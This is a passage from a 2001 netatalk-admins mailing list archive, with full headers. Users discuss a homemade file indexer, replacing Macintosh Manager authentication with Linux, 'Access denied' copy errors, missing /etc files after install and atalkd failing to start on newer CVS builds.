	for <netatalk-admins@umich.edu>; Thu, 6 Dec 2001 17:17:12 -0500 (EST)
Received: from fwd06.sul.t-online.de 
	by mailout05.sul.t-online.de with smtp 
	id 16C3mW-0006yP-06; Thu, 06 Dec 2001 20:02:04 +0100
Received: from hasi.coffee.ac (520007682752-0001@[217.82.204.95]) by fmrl06.sul.t-online.com
	with esmtp id 16C3mH-2JcCfYC; Thu, 6 Dec 2001 20:01:49 +0100
Received: (from colin@localhost)
	by hasi.coffee.ac (8.9.3/8.9.3) id UAA01099
	for netatalk-admins@umich.edu; Thu, 6 Dec 2001 20:03:50 +0100
Date: Thu, 6 Dec 2001 20:03:50 +0100
From: Colin Tueck <colin@tueck.de>
To: netatalk-admins@umich.edu
Subject: Indexing files
Message-ID: <20011206200350.A1084@hasi.coffee.ac>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2.5i
X-OS-Version: Linux 2.4.14 i686
X-Mailer: Mutt 1.2.5i (2000-07-28)
X-Uptime: 7:53pm  up  3:47,  1 user,  load average: 0.00, 0.00, 0.00
X-Sender: 520007682752-0001@t-dialin.net

Hi all,

some time ago I asked around about indexing files on a netatalk server.
As anyone didn't already know a solution, I started to create something 
myself.

Well, of course it's only in a very pre-alpha state, but it works already
in some way. A small description: There is a perl script which controls
the indexing. It reads the filenames to be indexed from STDIN, thus I use
find(1) to create the list of file (including listing only files and not
listing .AppleDouble/* files). The script then employs afile from netatalk
to determine the file-type, looks up an usable filter (antiword, unrtf,
etc.) from a config-file and converts the file to plain text.

The whole thing ist stored in a MySQL-Database using 3 tables: files, words
and word2file.
Table 'files' stores filenames, the mtime of the file when indexed and an ID.
Table 'words' stores every word found in any file with an ID.
'word2file' finally stores which word is found in which file how often.

For now, building the index isn't really fast, but on the contrary searching
works in a better speed.

Well, if anyone is interested in this thing, please mail me and I will send
the program as well as the needed table structure to him/her.
I think I'll also put this thing somewhere onto the web, but I don't have
time for that at the moment.

- Colin
-- 
| Colin Tück            | Lothringerstr. 101 | Benzstr. 1       |
| Handy:   0173/9896010 | 52070 Aachen       | 47574 Goch       |
| Mail:  colin@tueck.de | Fon: 0241/4003872  | Fon: 02823/95305 |

From netatalk.administrators-errors@umich.edu  Thu Dec  6 21:55:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA07886
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Dec 2001 21:55:33 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA17838
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Dec 2001 21:55:33 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA17820
	for netatalk.administrators-members@umich.edu; Thu, 6 Dec 2001 21:55:32 -0500 (EST)
Received: from bluto.brownout.com (bluto.brownout.com [216.206.175.138])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA17688
	for <netatalk-admins@umich.edu>; Thu, 6 Dec 2001 21:55:27 -0500 (EST)
Received: from [10.0.1.150] (airport.brownout.com [216.206.175.141])
	by bluto.brownout.com (8.11.6/8.8.7) with ESMTP id fB72lGg05008
	for <netatalk-admins@umich.edu>; Thu, 6 Dec 2001 21:47:16 -0500
Mime-Version: 1.0
X-Sender: jag@mail.gbg.com
Message-Id: <p05101005b835df7b1ff3@[10.0.1.150]>
Date: Thu, 6 Dec 2001 21:55:25 -0500
To: netatalk-admins@umich.edu
From: Jeremy Green <jag@brownout.com>
Subject: mac manager
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hello,

Please excuse me if this has been discussed before.  I'm new to this 
list.  I have been trying to figure out if anyone has been working on 
get mac manager functionality for a linux server.  I want to be able 
to have the users log into a mac with the multiple user setup and 
have all of their prefs store on the server.  Has anyone figure out 
the mac manager protocol?
We don't have an OS X server box so that isn't really an option.
I'm sorry if this has been discussed before...

		-Jeremy

From netatalk.administrators-errors@umich.edu  Fri Dec  7 07:47:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA00173
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Dec 2001 07:47:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA16753
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Dec 2001 07:47:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA16747
	for netatalk.administrators-members@umich.edu; Fri, 7 Dec 2001 07:47:08 -0500 (EST)
Received: from escalus.arlington.k12.va.us (escalus.arlington.k12.va.us [158.59.255.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA16734
	for <netatalk-admins@umich.edu>; Fri, 7 Dec 2001 07:47:07 -0500 (EST)
Received: from groupwise.arlington.k12.va.us (groupwise.arlington.k12.va.us [158.59.136.15])
	by escalus.arlington.k12.va.us (Postfix) with SMTP id 4E7FE39
	for <netatalk-admins@umich.edu>; Fri,  7 Dec 2001 07:47:03 -0500 (EST)
Received: from APS-Message_Server by groupwise.arlington.k12.va.us
	with Novell_GroupWise; Fri, 07 Dec 2001 07:47:01 -0500
Message-Id: <sc1073f5.099@groupwise.arlington.k12.va.us>
X-Mailer: Novell GroupWise 5.5.2
Date: Fri, 07 Dec 2001 07:46:55 -0500
From: "Matt Smith" <MSMITH@arlington.k12.va.us>
To: <jag@brownout.com>, <netatalk-admins@umich.edu>
Subject: Re: mac manager
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline

We are running MacManager 1.4.1 using a BSD4.4 box with netatalk1.5p8. 
The only problem we have is that Inspiration(and kidspiration) will not
save directly to the server.  This is a documented issue with
inspiration, they say to run 1.42+asun2.1.3  Of course, this verion
disconnects the user when they try to save large files.  Inspiration
promises to fix the problem with the next release.  Set your share
points up just like you would an appleshareIP server.  and hey, the
server doesn't crash and there are no fragmenation issues!

Matt

****************************************
Matt Smith - Network Analyst - Arlington Public Schools
"I have found that most people are about as happy as they make
up their minds to be" - Lincoln
****************************************

>>> Jeremy Green <jag@brownout.com> 12/06/01 09:58PM >>>
<snip>
I have been trying to figure out if anyone has been working on 
get mac manager functionality for a linux server.  I want to be able 
to have the users log into a mac with the multiple user setup and 
have all of their prefs store on the server.<snip>


From netatalk.administrators-errors@umich.edu  Fri Dec  7 11:35:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA10362
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Dec 2001 11:35:42 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA00846
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Dec 2001 11:35:42 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA00834
	for netatalk.administrators-members@umich.edu; Fri, 7 Dec 2001 11:35:41 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id LAA00752
	for <netatalk-admins@umich.edu>; Fri, 7 Dec 2001 11:35:40 -0500 (EST)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 18792 invoked from network); 7 Dec 2001 16:34:15 -0000
Received: from unknown (HELO holly.cam.harlequin.co.uk) (193.128.4.58)
  by server-34.tower-1.london-2.starlabs.net with SMTP; 7 Dec 2001 16:34:15 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id QAA22664; Fri, 7 Dec 2001 16:35:36 GMT
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id QAA19897; Fri, 7 Dec 2001 16:35:34 GMT
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256B1B.005B242A ; Fri, 7 Dec 2001 16:35:30 +0000
X-Lotus-FromDomain: HARLEQUIN
To: netatalk-admins@umich.edu
cc: netatalk-devel@lists.sourceforge.net
Message-ID: <80256B1B.005B22AE.00@notescam.cam.harlequin.co.uk>
Date: Fri, 7 Dec 2001 16:35:25 +0000
Subject: Access denied
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

I'm using 1.5pre7 on Linux, and I'm trying to copy files in a batch to a
netatalk server and back. On copying from and copying to, I get "Access denied"
errors. Has anyone seen this before? Could this be a misconfigured server?

Roger



From netatalk.administrators-errors@umich.edu  Fri Dec  7 11:43:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA10677
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Dec 2001 11:43:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA16405
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Dec 2001 11:43:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA16389
	for netatalk.administrators-members@umich.edu; Fri, 7 Dec 2001 11:43:25 -0500 (EST)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA16365
	for <netatalk-admins@umich.edu>; Fri, 7 Dec 2001 11:43:24 -0500 (EST)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id fB7Ghfv87134;
	Fri, 7 Dec 2001 11:43:41 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Fri, 7 Dec 2001 11:43:41 -0500 (EST)
From: Joe Clarke <marcus@marcuscom.com>
To: roger.day@globalgraphics.com
cc: netatalk-admins@umich.edu, <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Access denied
In-Reply-To: <80256B1B.005B22AE.00@notescam.cam.harlequin.co.uk>
Message-ID: <20011207114213.J86970-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII



On Fri, 7 Dec 2001 roger.day@globalgraphics.com wrote:

> I'm using 1.5pre7 on Linux, and I'm trying to copy files in a batch to
> a netatalk server and back. On copying from and copying to, I get
> "Access denied" errors. Has anyone seen this before? Could this be a
> misconfigured server?

Could be.  What DID scheme are you using?  What version of MacOS is the
client running?  If you want my opinion, upgrade to the either the latest
CVS snap or the latest branch-1-5-prep CVS snap.  A _lot_ of bugfixes have
gone into netatalk since pre7.

Joe


>
> Roger
>
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
>
>


From netatalk.administrators-errors@umich.edu  Fri Dec  7 12:07:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA11496
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Dec 2001 12:07:11 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA17610
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Dec 2001 12:07:11 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA17605
	for netatalk.administrators-members@umich.edu; Fri, 7 Dec 2001 12:07:11 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA17561
	for <netatalk-admins@umich.edu>; Fri, 7 Dec 2001 12:07:09 -0500 (EST)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 32087 invoked from network); 7 Dec 2001 17:05:47 -0000
Received: from unknown (HELO holly.cam.harlequin.co.uk) (193.128.4.58)
  by server-39.tower-1.london-2.starlabs.net with SMTP; 7 Dec 2001 17:05:47 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id RAA23360; Fri, 7 Dec 2001 17:07:07 GMT
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id RAA22970; Fri, 7 Dec 2001 17:07:06 GMT
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256B1B.005E0602 ; Fri, 7 Dec 2001 17:06:59 +0000
X-Lotus-FromDomain: HARLEQUIN
To: Joe Clarke <marcus@marcuscom.com>
cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Message-ID: <80256B1B.005DFFA9.00@notescam.cam.harlequin.co.uk>
Date: Fri, 7 Dec 2001 17:06:41 +0000
Subject: Re: [Netatalk-devel] Access denied
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

--with-did=last

The client's are Macos 9.1, 9.2 and 10. I made sure that the parent  directory
is g+w

At 07/12/2001 16:43:41, Joe Clarke <marcus@marcuscom.com> wrote:
#  On Fri, 7 Dec 2001 roger.day@globalgraphics.com wrote:
#
#  > I'm using 1.5pre7 on Linux, and I'm trying to copy files in a batch to
#  > a netatalk server and back. On copying from and copying to, I get
#  > "Access denied" errors. Has anyone seen this before? Could this be a
#  > misconfigured server?
#
#  Could be.  What DID scheme are you using?  What version of MacOS is the
#  client running?  If you want my opinion, upgrade to the either the latest
#  CVS snap or the latest branch-1-5-prep CVS snap.  A _lot_ of bugfixes have
#  gone into netatalk since pre7.
#
#  Joe
#
#
#  >
#  > Roger
#  >
#  >
#  >
#  > _______________________________________________
#  > Netatalk-devel mailing list
#  > Netatalk-devel@lists.sourceforge.net
#  > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
#  >
#  >
#
Roger



From netatalk.administrators-errors@umich.edu  Fri Dec  7 12:08:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA11533
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Dec 2001 12:08:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA14906
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Dec 2001 12:08:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA14896
	for netatalk.administrators-members@umich.edu; Fri, 7 Dec 2001 12:08:21 -0500 (EST)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA14870
	for <netatalk-admins@umich.edu>; Fri, 7 Dec 2001 12:08:20 -0500 (EST)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id fB7H8bZ87272;
	Fri, 7 Dec 2001 12:08:37 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Fri, 7 Dec 2001 12:08:37 -0500 (EST)
From: Joe Clarke <marcus@marcuscom.com>
To: roger.day@globalgraphics.com
cc: netatalk-admins@umich.edu, <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Access denied
In-Reply-To: <80256B1B.005DFFA9.00@notescam.cam.harlequin.co.uk>
Message-ID: <20011207120749.O86970-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Give the upgrade a try.  I'm not seeing this with the 1.5RC snaps:

http://me.in-berlin.de/~jroger/netatalk/

Joe

On Fri, 7 Dec 2001 roger.day@globalgraphics.com wrote:

> --with-did=last
>
> The client's are Macos 9.1, 9.2 and 10. I made sure that the parent  directory
> is g+w
>
> At 07/12/2001 16:43:41, Joe Clarke <marcus@marcuscom.com> wrote:
> #  On Fri, 7 Dec 2001 roger.day@globalgraphics.com wrote:
> #
> #  > I'm using 1.5pre7 on Linux, and I'm trying to copy files in a batch to
> #  > a netatalk server and back. On copying from and copying to, I get
> #  > "Access denied" errors. Has anyone seen this before? Could this be a
> #  > misconfigured server?
> #
> #  Could be.  What DID scheme are you using?  What version of MacOS is the
> #  client running?  If you want my opinion, upgrade to the either the latest
> #  CVS snap or the latest branch-1-5-prep CVS snap.  A _lot_ of bugfixes have
> #  gone into netatalk since pre7.
> #
> #  Joe
> #
> #
> #  >
> #  > Roger
> #  >
> #  >
> #  >
> #  > _______________________________________________
> #  > Netatalk-devel mailing list
> #  > Netatalk-devel@lists.sourceforge.net
> #  > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> #  >
> #  >
> #
> Roger
>
>
>
>


From netatalk.administrators-errors@umich.edu  Fri Dec  7 12:59:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA13820
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Dec 2001 12:59:54 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA26741
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Dec 2001 12:59:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA26726
	for netatalk.administrators-members@umich.edu; Fri, 7 Dec 2001 12:59:53 -0500 (EST)
Received: from bluto.brownout.com (bluto.brownout.com [216.206.175.138])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA26446
	for <netatalk-admins@umich.edu>; Fri, 7 Dec 2001 12:59:41 -0500 (EST)
Received: from [10.0.1.150] (airport.brownout.com [216.206.175.141])
	by bluto.brownout.com (8.11.6/8.8.7) with ESMTP id fB7HpOg22986
	for <netatalk-admins@umich.edu>; Fri, 7 Dec 2001 12:51:24 -0500
Mime-Version: 1.0
X-Sender: jag@mail.gbg.com
Message-Id: <p0510100bb836b36f728f@[10.0.1.150]>
In-Reply-To: <sc1073f5.099@groupwise.arlington.k12.va.us>
References: <sc1073f5.099@groupwise.arlington.k12.va.us>
Date: Fri, 7 Dec 2001 12:59:35 -0500
To: netatalk-admins@umich.edu
From: Jeremy Green <jag@brownout.com>
Subject: Re: mac manager
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I guess I need to clarify my previous email.  :)
We don't have a MacOSX Server at all so I am trying to figure out if 
it is possible to get netatalk to do the authentication for the Macs. 
I want a user to be able to log into the mac only if they have an 
account set up on our linux box.  I don't have a machine with 
Macintosh Manager on it at all I want the linux box to take the place 
of the Macintosh manager.
has anyone looked into this?
Thanks,

			-Jeremy

From netatalk.administrators-errors@umich.edu  Fri Dec  7 16:11:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA24466
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Dec 2001 16:11:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA02631
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Dec 2001 16:11:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA02625
	for netatalk.administrators-members@umich.edu; Fri, 7 Dec 2001 16:11:29 -0500 (EST)
Received: from stingray.shentel.net (stingray.shentel.net [204.111.2.39])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA02598
	for <netatalk-admins@umich.edu>; Fri, 7 Dec 2001 16:11:28 -0500 (EST)
Received: from [10.40.10.197] (firewall.harrisonburg.k12.va.us [204.111.42.226])
	by stingray.shentel.net (8.11.3/8.11.3) with ESMTP id fB7LBHA26304;
	Fri, 7 Dec 2001 16:11:25 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.0.3
Date: Fri, 07 Dec 2001 16:11:22 -0500
Subject: Re: mac manager
From: Rob Lineweaver <rbline@wm.edu>
To: Jeremy Green <jag@brownout.com>
CC: <netatalk-admins@umich.edu>
Message-ID: <B8369AAA.2C73%rbline@wm.edu>
In-Reply-To: <p0510100bb836b36f728f@[10.0.1.150]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Jeremy,

As far as I know, nobody has even attempted to reverse-engineer the
Macintosh Manager protocol and I know of no product either open source or
commercial which can replace Apple's MM server for authentication when using
MM client.

Now, as a previous poster mentioned it is quite possible to use a MacOS
(ASIP or X) MM server for authentication and still store users' documents
and prefs on a Netatalk box.  But you're not going to be able to use the MM
client without having a MacOS MM server.

The MM protocol would be difficult to reverse engineer as (AFAIK) it is not
a published protocol (like AFP is) and any project that attempts to spoof
the MM server will probably have a hard time keeping up with Apple making
changes to the protocol.  Kinda like the open source projects that chase AOL
around trying to reverse engineer the AIM protocol.  :)

Rob Lineweaver
:)


> I guess I need to clarify my previous email.  :)
> We don't have a MacOSX Server at all so I am trying to figure out if
> it is possible to get netatalk to do the authentication for the Macs.
> I want a user to be able to log into the mac only if they have an
> account set up on our linux box.  I don't have a machine with
> Macintosh Manager on it at all I want the linux box to take the place
> of the Macintosh manager.
> has anyone looked into this?
> Thanks,
> 
> -Jeremy
> 
> 


From netatalk.administrators-errors@umich.edu  Mon Dec 10 14:02:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA21318
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Dec 2001 14:02:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA10171
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Dec 2001 14:02:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA10156
	for netatalk.administrators-members@umich.edu; Mon, 10 Dec 2001 14:02:37 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA10121
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 14:02:36 -0500 (EST)
Received: by ksvcmail.ksvc.com with Internet Mail Service (5.5.2653.19)
	id <Y2MT5CWP>; Mon, 10 Dec 2001 13:56:34 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A2D7457@ksvcmail.ksvc.com>
From: Brian Curtis <Bcurtis@KSVC.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Netatalk compile
Date: Mon, 10 Dec 2001 13:56:33 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C181AC.62E66970"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C181AC.62E66970
Content-Type: text/plain

When I run a Make and Make install I'm not getting files in the /etc folder?
Any suggestions?

Brian Curtis

Information Technology Manager
Red-Wire
Kelliher Samets Volk
802.862.8261


------_=_NextPart_001_01C181AC.62E66970
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=US-ASCII">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Netatalk compile</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2 FACE="Arial">When I run a Make and Make install I'm not getting files in the /etc folder?&nbsp; Any suggestions?</FONT>
</P>

<P><B><FONT SIZE=2 FACE="Arial">Brian Curtis</FONT></B>
</P>

<P><I><FONT SIZE=2 FACE="Arial">Information Technology Manager</FONT></I>
<BR><I><FONT SIZE=2 FACE="Arial">Red-Wire</FONT></I>
<BR><I><FONT SIZE=2 FACE="Arial">Kelliher Samets Volk</FONT></I>
<BR><I><FONT SIZE=2 FACE="Arial">802.862.8261</FONT></I>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C181AC.62E66970--

From netatalk.administrators-errors@umich.edu  Mon Dec 10 14:07:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA21596
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Dec 2001 14:07:54 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA16645
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Dec 2001 14:07:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA16607
	for netatalk.administrators-members@umich.edu; Mon, 10 Dec 2001 14:07:52 -0500 (EST)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA16572
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 14:07:51 -0500 (EST)
Received: from tc09-n66-248.de.inter.net ([213.73.66.248] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 16DVmG-0007Yr-00; Mon, 10 Dec 2001 20:07:49 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id UAA25065;
	Mon, 10 Dec 2001 20:06:35 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: atalkd doesn't start anymore
Date: Mon, 10 Dec 2001 19:33:47 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <01121020063400.01599@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA21596

Hi all,

I've been successfully using netatalk 1.5pre6.
Now I tried the latest CVS versions and
http://www.marcuscom.com/netatalk/cnid/netatalk-1.5cnid.tar.gz

They all led to the following error at netatalk startup:
  Starting atalkd:AppleTalk not up! Check your syslog for the reason. Child died.

In my /var/log/messages are no errors logged.

When I start 1.5pre6 all is fine again.
I also tested the 1.5pre8 tarball: is also OK.

My CNID configuration is
./configure \
        --prefix=/usr/local \
        --enable-timelord \
        --with-shadow \
        --enable-suse \
        --with-config-dir=/etc \
        --with-pkgconfdir=/usr/local/etc/netatalk \
        --mandir=/usr/local/share/man \
        --with-did=cnid \
        --with-db3=/usr/local/BerkeleyDB.3.3

I've also added a --enable-debug: still no errors in any logs.

Could someone please give me a hint what could be wrong?

Thank you

	Carsten

BTW: It would be fine if the default man directory would be PREFIX/share/man instead of PREFIX/man
for FHS compatibility.

From netatalk.administrators-errors@umich.edu  Mon Dec 10 16:40:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA00080
